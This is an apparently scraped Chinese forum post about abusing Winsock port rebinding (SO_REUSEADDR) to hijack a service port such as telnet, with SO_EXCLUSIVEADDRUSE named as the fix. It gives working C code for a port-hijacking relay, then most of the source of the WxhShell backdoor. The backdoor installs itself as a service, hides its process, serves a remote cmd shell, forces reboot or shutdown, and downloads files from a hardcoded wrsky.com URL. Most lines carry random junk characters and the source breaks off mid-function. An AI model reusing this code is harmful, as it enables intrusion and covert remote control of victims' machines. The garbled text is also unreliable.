在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
b&U5VA0=1 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
`4"y#Z |Oj,S|Z: saddr.sin_family = AF_INET;
t<KEx^gb ?z4uze1 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
^c;skV&S (HTk;vbZm bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
%k1q4qOG]^ oKMg7 3* 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
S`'uUvAA Ggxrj'r 这意味着什么?意味着可以进行如下的攻击:
%8z+R m,Ot 37ri b 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
8V53+]c$Y skmDsZzw
2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
P /f ~ K>DnD0 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
z=8_%r X*p:&=o 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
#nMP(ShK hg86#jq% 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
|Ls&~'ik 8WLh]MD` 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
^<5^9]x j*3sjOoC 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
r* sDh6 Uk #include
v J,xz*rc` #include
J&]
XLr.j #include
['9OGV\ #include
iz,q8}/( DWORD WINAPI ClientThread(LPVOID lpParam);
ZRVF{D??"% int main()
-*]9Ma<wa {
>Y*iy WORD wVersionRequested;
WLj_Zo*^x DWORD ret;
.+yJh WSADATA wsaData;
LeRh(a`=$ BOOL val;
lw/
m0}it SOCKADDR_IN saddr;
#L1yL<' SOCKADDR_IN scaddr;
{F{[!. int err;
XN 0RT>@ SOCKET s;
802]M SOCKET sc;
:ayO+fr# int caddsize;
H 29 _ / HANDLE mt;
?M1 QJ DWORD tid;
YM,D`c[pX wVersionRequested = MAKEWORD( 2, 2 );
!Z9ikn4A err = WSAStartup( wVersionRequested, &wsaData );
A~~|X if ( err != 0 ) {
brhJ&|QDE printf("error!WSAStartup failed!\n");
HWao3 Lz return -1;
"> 4[+' }
kH(3 saddr.sin_family = AF_INET;
zqE8PbU0M; h.+,*9T\ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
e\bF_
N2VA qz_TcU' saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
s-YV_ saddr.sin_port = htons(23);
_o=`-iy9 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{t IoC;Y {
n6-!@RYr printf("error!socket failed!\n");
fPuQ,J2= return -1;
oqm{<g?2 }
D3Ea2}8 val = TRUE;
{<V|Gr //SO_REUSEADDR选项就是可以实现端口重绑定的
y O9pEO|W if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
.q& ]wu {
,r)d#8 printf("error!setsockopt failed!\n");
I^C
]6D{ return -1;
[4(A458H }
_ER
cmP //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
I$P7%} //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
t)kr/Z*p\ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
)~o`QM+ 5;KT-(q~ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
;lPhSkD {
MrygEC 5 ret=GetLastError();
p44uozbK printf("error!bind failed!\n");
c=c.p
i"s return -1;
tGy%n[ \ }
cqU/Y_%l' listen(s,2);
\=:g$_l while(1)
qi5>GX^t]b {
g_U*_5doA caddsize = sizeof(scaddr);
^O\1v //接受连接请求
7*8nUq sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
j2&OYg if(sc!=INVALID_SOCKET)
:r|P?;t( {
W SeRV?+T mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
$F'~^2 if(mt==NULL)
cH8H)55F {
0eu$oel- printf("Thread Creat Failed!\n");
=GS_ G;Dz break;
74!JPOpQH }
uX5B>32 }
K
{N;k- CloseHandle(mt);
hQRc,d6x5 }
tYxlM! closesocket(s);
qb/!;U_ WSACleanup();
WlJRKM2 return 0;
<zWQ[^ }
Bf}0'MK8zQ DWORD WINAPI ClientThread(LPVOID lpParam)
Lm2cW$s {
3n"&$q6 SOCKET ss = (SOCKET)lpParam;
}t{^*( SOCKET sc;
!7Q.w/|= unsigned char buf[4096];
9"v ox SOCKADDR_IN saddr;
Boz_*l| long num;
O9 r44ww DWORD val;
?Pf
,5=*B DWORD ret;
OaVL NA^{ //如果是隐藏端口应用的话,可以在此处加一些判断
<@2?2l+`X //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
/? <9,7#i saddr.sin_family = AF_INET;
tbt9V2U:"n saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Kof-;T saddr.sin_port = htons(23);
HH7gT if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
9#ay(g {
< 2r#vmM printf("error!socket failed!\n");
=>TtX@ Q{ return -1;
$TUC?e9"h }
w@D@,q'x val = 100;
8XXTN@&, if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
-^%"w {
RB
0j!H: ret = GetLastError();
A=>6$L];' return -1;
Y+PxV*"a }
f;I"tugO if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
R(#;yn {
KuAGy*:4T ret = GetLastError();
+mel0ZStS return -1;
R}YryzV5 }
m=b+V#4i( if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
(W6\%H2u {
H0:6zSsc=| printf("error!socket connect failed!\n");
*^m.V= closesocket(sc);
Gf$>!zXr closesocket(ss);
ojI"<Q~g return -1;
v*p)"J * }
t z>X'L while(1)
E&=?\KM {
y")>"8H //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
iONql7S @ //如果是嗅探内容的话,可以再此处进行内容分析和记录
y3$\ m //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
ZI*A0_;L num = recv(ss,buf,4096,0);
Z~:lfCK` if(num>0)
lP
&%5y; send(sc,buf,num,0);
Hw3E S else if(num==0)
Kct +QO( break;
d:ajD num = recv(sc,buf,4096,0);
uy28=BE if(num>0)
8i~'~/x send(ss,buf,num,0);
w6Ny>(T/ else if(num==0)
0L-g'^nn break;
k3eN;3#& }
VZl0)YLK closesocket(ss);
'4S@:.D` closesocket(sc);
JVYYwA^. return 0 ;
B_1u<00kg }
0pG(+fN_9 "lya|; ,S K6*tpI ==========================================================
BNUf0; aPMM:RP` 下边附上一个代码,,WXhSHELL
%}MM+1eu )O'<jwp$ ==========================================================
f;6d/?= ~ =?x=CEW #include "stdafx.h"
\M^4Dd Ay Q|r1. #include <stdio.h>
TuR?r`P% #include <string.h>
FC.-u"V #include <windows.h>
SQvB)NOw #include <winsock2.h>
EnAw8Gm* #include <winsvc.h>
qWK7K%-$E #include <urlmon.h>
TUCpmj 2o}FB\4^i #pragma comment (lib, "Ws2_32.lib")
2(x KE_| #pragma comment (lib, "urlmon.lib")
5,fzB~$TX( b .@dUuKz- #define MAX_USER 100 // 最大客户端连接数
K~N[^pF #define BUF_SOCK 200 // sock buffer
H*<dte< #define KEY_BUFF 255 // 输入 buffer
U}TQXYAg wYM{x!D #define REBOOT 0 // 重启
J~6*d,Ry` #define SHUTDOWN 1 // 关机
NX/)Z&Fx: }e|]G,NZO #define DEF_PORT 5000 // 监听端口
`&DiM@Sm ;f*xOdi*k #define REG_LEN 16 // 注册表键长度
~|]\.^B #define SVC_LEN 80 // NT服务名长度
wN.Jyb Ee| y[y, // 从dll定义API
1z!Lk*C) typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
%8}w!2D S typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
<FLc0s typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
~)(Dm+vZ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
q|\Cp [X\2U4 // wxhshell配置信息
6n g9 o6 struct WSCFG {
X:bgY int ws_port; // 监听端口
yFv3>\ char ws_passstr[REG_LEN]; // 口令
Tl-B[CT int ws_autoins; // 安装标记, 1=yes 0=no
cViCWc2 char ws_regname[REG_LEN]; // 注册表键名
;pYk+r6 Cr char ws_svcname[REG_LEN]; // 服务名
qN(;l&Q char ws_svcdisp[SVC_LEN]; // 服务显示名
pm|]GkM char ws_svcdesc[SVC_LEN]; // 服务描述信息
<Z_`^~! char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Cl=ExpX/O int ws_downexe; // 下载执行标记, 1=yes 0=no
~Y[b
QuA=) char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
}x-8@9S~z char ws_filenam[SVC_LEN]; // 下载后保存的文件名
L@uKE jR xEqrs6sR };
eZo%q,L ObnB6ShKi // default Wxhshell configuration
\`&fr+x struct WSCFG wscfg={DEF_PORT,
A
2 )%+ "xuhuanlingzhe",
~d]7 Cl 1,
jeNEC&J "Wxhshell",
Er`PYE
J "Wxhshell",
gE#,QOy "WxhShell Service",
=0|evC "Wrsky Windows CmdShell Service",
s6IuM )x "Please Input Your Password: ",
CQHlSV W 1,
5}VP-04vh "
http://www.wrsky.com/wxhshell.exe",
l"Q8` "Wxhshell.exe"
\U8Vsx1tl };
D:0PppE '-qc\6UY // 消息定义模块
':@qE\( char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
9wzYDKN} char *msg_ws_prompt="\n\r? for help\n\r#>";
pDT6>2t char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
,y @3'~ char *msg_ws_ext="\n\rExit.";
eA_4,"{ char *msg_ws_end="\n\rQuit.";
4v7RX char *msg_ws_boot="\n\rReboot...";
,\IZ/1 char *msg_ws_poff="\n\rShutdown...";
(Nf.a4O char *msg_ws_down="\n\rSave to ";
it@s(1EO# c{q`uI;O char *msg_ws_err="\n\rErr!";
W1z5|-T char *msg_ws_ok="\n\rOK!";
=nl,5^ fq'Of
wT char ExeFile[MAX_PATH];
~1oD7=WN int nUser = 0;
C_/oORvK HANDLE handles[MAX_USER];
{I
,' int OsIsNt;
g*uO
IF 1d6pQ9 N SERVICE_STATUS serviceStatus;
|ouk;r24V SERVICE_STATUS_HANDLE hServiceStatusHandle;
~gD'up@$/ V8/o@I{U[ // 函数声明
!ywc). ]e int Install(void);
#SmWF|/ int Uninstall(void);
|SmN.*&(9 int DownloadFile(char *sURL, SOCKET wsh);
U ;/ )V int Boot(int flag);
@AFLF X] void HideProc(void);
J^T66}r[f, int GetOsVer(void);
*W
l{2& int Wxhshell(SOCKET wsl);
Pa*yo:U'h void TalkWithClient(void *cs);
`y(3:##p int CmdShell(SOCKET sock);
n1|%xQBU@ int StartFromService(void);
kW9STN int StartWxhshell(LPSTR lpCmdLine);
bYfcn]N B(5g&+{Lq~ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
h2nyP VOID WINAPI NTServiceHandler( DWORD fdwControl );
|qD<h s.U p<Rw // 数据结构和表定义
o/xE
O=AW SERVICE_TABLE_ENTRY DispatchTable[] =
pI4<`
K {
!ibp/:x {wscfg.ws_svcname, NTServiceMain},
L [^e<I {NULL, NULL}
s]qfLC };
FpEdwzBb< ur|2FS7 // 自我安装
hI
yfF int Install(void)
cVMTT]cj1 {
_\6-] char svExeFile[MAX_PATH];
R;%iu0 HKEY key;
9/Ls3U? strcpy(svExeFile,ExeFile);
R?(j#bk GUxhCoxb // 如果是win9x系统,修改注册表设为自启动
6ZE]7~X if(!OsIsNt) {
N78Ev7PN if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Tr8+E;; RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
F=#Wfl-o RegCloseKey(key);
bF.Aj8ZQ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
qr*/}F6 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
JQb]mU%? RegCloseKey(key);
udB}`<Q return 0;
VC@o]t5 }
eP)RP6ON{ }
*QLbrR }
q^s$4 q else {
Ugn"w E nsPM`dz/ // 如果是NT以上系统,安装为系统服务
#S"=)BZ8L SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
v{9eEk1 if (schSCManager!=0)
^6=nL<L {
SFjN5u SC_HANDLE schService = CreateService
h(9K7 (
?^hC|IR$ schSCManager,
pJmn;XbME wscfg.ws_svcname,
\%)p7PNY wscfg.ws_svcdisp,
ojaZC,} SERVICE_ALL_ACCESS,
{0|^F!1z SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
w/UsEIr SERVICE_AUTO_START,
~HELMS~- SERVICE_ERROR_NORMAL,
f-Sb:O!V svExeFile,
5b&'gd^d NULL,
30<^0J.1 NULL,
|Qm 7x[i NULL,
YRK4l\_` NULL,
=hA/; NULL
/q=<OEC );
t((0]j^ if (schService!=0)
vm(% u!_P {
Co'dZd( CloseServiceHandle(schService);
:G!Kaa,r CloseServiceHandle(schSCManager);
lHx$F? strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
]!/1qF strcat(svExeFile,wscfg.ws_svcname);
(qaY,>je]D if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
I*X|pRD RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
+2vcUy RegCloseKey(key);
H*Yyo? return 0;
5yry$w$G) }
<+6)E@Y }
"G<^@v9 CloseServiceHandle(schSCManager);
3h4>edM }
&ha39&I }
UW\.!TV 'p<(6*," return 1;
L"IdD5`7T }
rn(T
Z} E]68IuP@' // 自我卸载
s>kzt1,x int Uninstall(void)
\=.iM?T {
!a
/ HKEY key;
J<'4(}^| B"G;"X if(!OsIsNt) {
k'm!| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
WKN\*N < RegDeleteValue(key,wscfg.ws_regname);
hp)3@&T RegCloseKey(key);
#q%&,;4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
4YKb~1qkk RegDeleteValue(key,wscfg.ws_regname);
YYhRdU/g RegCloseKey(key);
GSypdEBj+w return 0;
.7oz }
[z?<'Tj }
o0AREZ+I }
rt f}4. else {
NbSwn}e_ =x=#Etj| SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
|S/nq_g] if (schSCManager!=0)
myH#.$=A {
!bQ5CB SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
L='GsjF0} if (schService!=0)
KX{ S8_ {
8}4V$b`Z if(DeleteService(schService)!=0) {
9] l7j\L CloseServiceHandle(schService);
NJ3b Oq CloseServiceHandle(schSCManager);
(}'0K? return 0;
{4
*ob@w* }
Ur_~yX]Mo CloseServiceHandle(schService);
m+CvU?)gJ }
F$d`Umqs;P CloseServiceHandle(schSCManager);
/']Gnt G. }
x6m21DW w }
kYx|`-PA<r 0nBAO return 1;
zg[ksny }
d]CRvzW J3C"W794} // 从指定url下载文件
-V(5U!^B int DownloadFile(char *sURL, SOCKET wsh)
3HWI; {
E:#VS~ HRESULT hr;
7,Nd[
oL*7 char seps[]= "/";
k{uc%6s char *token;
V0"UFy?i char *file;
_Nlx)Y R char myURL[MAX_PATH];
iB{O"l@w
char myFILE[MAX_PATH];
i,,U D /,wG$b+ strcpy(myURL,sURL);
>wZ!1Jq token=strtok(myURL,seps);
._#|h5 while(token!=NULL)
H~fZA)W 4Y {
#k*e>d$ file=token;
fZ$8PMZv token=strtok(NULL,seps);
F8.Fp[_tM }
>AJtoJ=j 7h,SX]4Q GetCurrentDirectory(MAX_PATH,myFILE);
%*zgN[/w strcat(myFILE, "\\");
gFJd8#6t strcat(myFILE, file);
klv ]+F&[ send(wsh,myFILE,strlen(myFILE),0);
!'MZeiLP send(wsh,"...",3,0);
/=i^Bgh4 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
>$k_tC'" if(hr==S_OK)
X]M)T return 0;
.pK_j~}P else
xrp%b1Sy return 1;
5)nm6sf 1:XT r }
$yBU
,lu} Mvu! // 系统电源模块
:(N3s9:vz int Boot(int flag)
^|(F|Z {
XzkC ]e' HANDLE hToken;
slXk < TOKEN_PRIVILEGES tkp;
u+kXJ a8Nl'
f*0 if(OsIsNt) {
y.HE3tH OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
ZF>zzi+@ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
S!0<aFh tkp.PrivilegeCount = 1;
==~X8k|{E tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
9H`Q
|7g(5 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
gM '_1zs
U if(flag==REBOOT) {
[YLaRr if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
['Hl$2 j return 0;
D`V03}\- }
k& 2U& else {
-$>R;L if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
LY-fp+ return 0;
?l
&S:`
L }
p$0G EYwM }
(0bvd else {
amK"Z<V F if(flag==REBOOT) {
TkM8GK-3 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
q]DV49UK return 0;
C5c@@ch : }
i]JD::P_H else {
c=0S]_ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
E.R,'Y;x return 0;
Ivmiz{Oii }
lQ
{k }
oYG9i=lZ KY~p>Jmh return 1;
TmxhP
nJ~ }
!uL z%~F %4*-BCP // win9x进程隐藏模块
n<+g{QHi void HideProc(void)
|Ah'KpL8W {
w^6rgCl `A_CLVE HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
GWsvN&nr if ( hKernel != NULL )
?%Hj,b {
ycz6-kEp pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
)"`(+Ku&c ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
ph
qx<N@ FreeLibrary(hKernel);
wuRQ
H]N }
}6*+>? UzTFT:\ return;
R*|y:T,H }
>4
4A !<BJg3 // 获取操作系统版本
^cs:S-s int GetOsVer(void)
.fY1?$*6c {
ux`)jOQ`Y] OSVERSIONINFO winfo;
O9?t,1 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
6[b'60CuZL GetVersionEx(&winfo);
FOV%\=Hl if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
pBl'SQccp return 1;
W}{RJWr else
T;!: A return 0;
X$Eg(^L a }
<cS"oBh&u0 OCHjQc // 客户端句柄模块
HEh,Cf7`' int Wxhshell(SOCKET wsl)
tQ~vLPi$ {
uy'm2 SOCKET wsh;
#@%DY*w]v struct sockaddr_in client;
l ld,&N8 DWORD myID;
f4[fXP;A 3kqO5+,C while(nUser<MAX_USER)
@ByD= {
zNG]v?JAh int nSize=sizeof(client);
8k~$_AT>u wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
p6S{OUiG if(wsh==INVALID_SOCKET) return 1;
+\Uq=@ J34/rL/s handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
3QSA| if(handles[nUser]==0)
,jH<i.2R closesocket(wsh);
V Ioqn$ else
R%Xhdcn7 nUser++;
={~?O&Jh }
@}K|/ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
n0)0"S|y1 ''D\E6c\ return 0;
yBKEw(1 }
s|HpN lB)%s~P:s // 关闭 socket
B|I9Ex~L void CloseIt(SOCKET wsh)
Z2P DT {
;@ <E closesocket(wsh);
&BOq%*+ nUser--;
K<3,=gL9[ ExitThread(0);
iEx
sGn]2 }
Cj/J&PDQ ^lvYj
E // 客户端请求句柄
bqPaXH
n void TalkWithClient(void *cs)
}^Ymg7wA {
/FJ.W<hw :<}1as!eo SOCKET wsh=(SOCKET)cs;
xgp 6lO [ char pwd[SVC_LEN];
etw.l~y char cmd[KEY_BUFF];
&[yW}uV<7 char chr[1];
7=3'PfS int i,j;
|-)2 D=P 3[{RH*nHD while (nUser < MAX_USER) {
wqnrN6$jf
eeMeV> if(wscfg.ws_passstr) {
sOVbz2\yb if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
)t#>fnN //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
]`+J!G, //ZeroMemory(pwd,KEY_BUFF);
U3t$h i=0;
] S0tK while(i<SVC_LEN) {
!#[B#DZc( rd_!'pG // 设置超时
1
lZRi-P fd_set FdRead;
[LF<aR5 struct timeval TimeOut;
^QG;:.3v FD_ZERO(&FdRead);
h4,g pV>t FD_SET(wsh,&FdRead);
9M12|X\]8 TimeOut.tv_sec=8;
}+@GgipyO. TimeOut.tv_usec=0;
2/dvCt6 N int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
WY& [%r if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
V|\dnVQ'-% ZbAg^2 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
(/i?Fd pwd
=chr[0]; D[H #W[
if(chr[0]==0xd || chr[0]==0xa) { eo [eN.
pwd=0; U0m 5Rc
break; ?y/LMja
} L#|6Lnp^
i++; ^{}$o#iof
} XM#xxf* Y
?9Hs,J
// 如果是非法用户,关闭 socket 1 !8
b9
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); X~2L
} b#
|
']&rPvkL
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); dbsD\\,2%N
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q)f-z\
Y=5}u&\
while(1) { WU+OS(
|& Pa`=sp
ZeroMemory(cmd,KEY_BUFF); BcaX:C?f
dCn'IM1
// 自动支持客户端 telnet标准 *Y]()#?Gr
j=0; .,*68S0k7
while(j<KEY_BUFF) { UFl+|wf
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c'}dsq\
cmd[j]=chr[0]; dd-`/A@
if(chr[0]==0xa || chr[0]==0xd) { !Y,*Zc$R
cmd[j]=0; nj4G8/U-q
break; NsN =0ff
} I]iTD
j++; Yw6^(g8
} ($T"m-e
elDt!9Pu
// 下载文件 _&R lR
if(strstr(cmd,"http://")) { #qDMUN*i
send(wsh,msg_ws_down,strlen(msg_ws_down),0); (:r80:
if(DownloadFile(cmd,wsh)) %~rXJrK
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @b3jO
else cii!
WCu
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5fvY#6;
} i XPe
else { e-EY]%JO
<|>7?#s2=
switch(cmd[0]) { p:Hg>Z
9#MY(Hr
// 帮助 -d)+G%{
case '?': { B,(zp#&yB
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); S{fFpe-
break; c( 8>|^M
} ?}ly`Js
// 安装 "CY#_)
case 'i': { _Squ%z:D
if(Install()) w#!b #TNc
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Iw[7;B5v
else `Kb"`}`_vm
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ftw;T|
break; Q:^.Qs"IK
} oD.[T)G?
// 卸载 ~\khwNA
case 'r': { O.z\
VI2f
if(Uninstall()) dxi5p!^^9
send(wsh,msg_ws_err,strlen(msg_ws_err),0); )aAKxC7w
else
!m:rtPD'
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U+ANSW/
break; .^!<cFkCE
} TsF>Y""*M
// 显示 wxhshell 所在路径 UfSqiu
case 'p': { =-%10lOI
char svExeFile[MAX_PATH]; PD$'
~2
strcpy(svExeFile,"\n\r"); z,K;GZuP
strcat(svExeFile,ExeFile); =berCV
send(wsh,svExeFile,strlen(svExeFile),0); f >$V:e([
break; )8&;Q9'o
} jBMGm"NE
// 重启 3R&
FzLs
case 'b': { []l2
`fS#
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .C\##
if(Boot(REBOOT)) *Y`c.n"
send(wsh,msg_ws_err,strlen(msg_ws_err),0); vhd +A
else { B>UF dj]-
closesocket(wsh);
{,+MaH
ExitThread(0); 3L^]J}|
} @/W~lJ!e
break; >m+Fm=
} /C
// 关机 `'G1"CX
case 'd': { 1"wZ [.
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?rxq//S2
if(Boot(SHUTDOWN)) $2w][ d1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); u3vM !
else { 9p4=iXfR
closesocket(wsh); 7CDp$7v2
ExitThread(0); *O'`&J
} 6olJ7`*
break; <?FkwW\?
} ^`?M~e2FZ8
// 获取shell p;Nq(=]
\
case 's': { `e4gneQY
CmdShell(wsh); h>"j!|#!s
closesocket(wsh); -gB9476-
ExitThread(0);
8/s?Gz
break; qO{Yr$V%
} N4)ZPLV
// 退出 *X l,w2@
case 'x': { "[dfb#0z`
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 'h87A-\!F
CloseIt(wsh); ^m['VK#?
break; ''Hx&
} /Ref54
// 离开 N|e#&
case 'q': { ?/q\S
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4o|<zn
closesocket(wsh); UvF5u(o
WSACleanup(); mqK}yK^P]
exit(1); '.{_
7U
break; } fJLY\
} #Q1}h
} ):lH
} 26ae|2?
l i)
5o
// 提示信息 UY(\T8
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F R(k==pZ
} hn=tSlte
} v>/_U
B!1h"K5.($
return; {s>V'+H(F
} '81c>qA
G^Va$ike
// shell模块句柄 Mp?L9
int CmdShell(SOCKET sock) GK=b
{ Xp[x O 0
STARTUPINFO si; Z;y(D_;_
ZeroMemory(&si,sizeof(si)); HCw,bRxm
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; h+ <Jv
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ckYT69U
PROCESS_INFORMATION ProcessInfo; 0.[tEnLZ
char cmdline[]="cmd"; qLV3Y?S!L
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); VWK%6Ye0
return 0; }<^QW't_Y
} FfNUFx2N
_tRRIW"Vx"
// 自身启动模式 nJ}@9v F/
int StartFromService(void) H[RX~Xk2E
{ 8n35lI(
[
typedef struct C6'K)P[p
{ e'MW"uCP}
DWORD ExitStatus; o Vpq*"
DWORD PebBaseAddress; h [@}}6
DWORD AffinityMask; Lp)P7Yt-
DWORD BasePriority; 66-tNy
ULONG UniqueProcessId; `|2g&Vn
ULONG InheritedFromUniqueProcessId; 14DhJUV"b
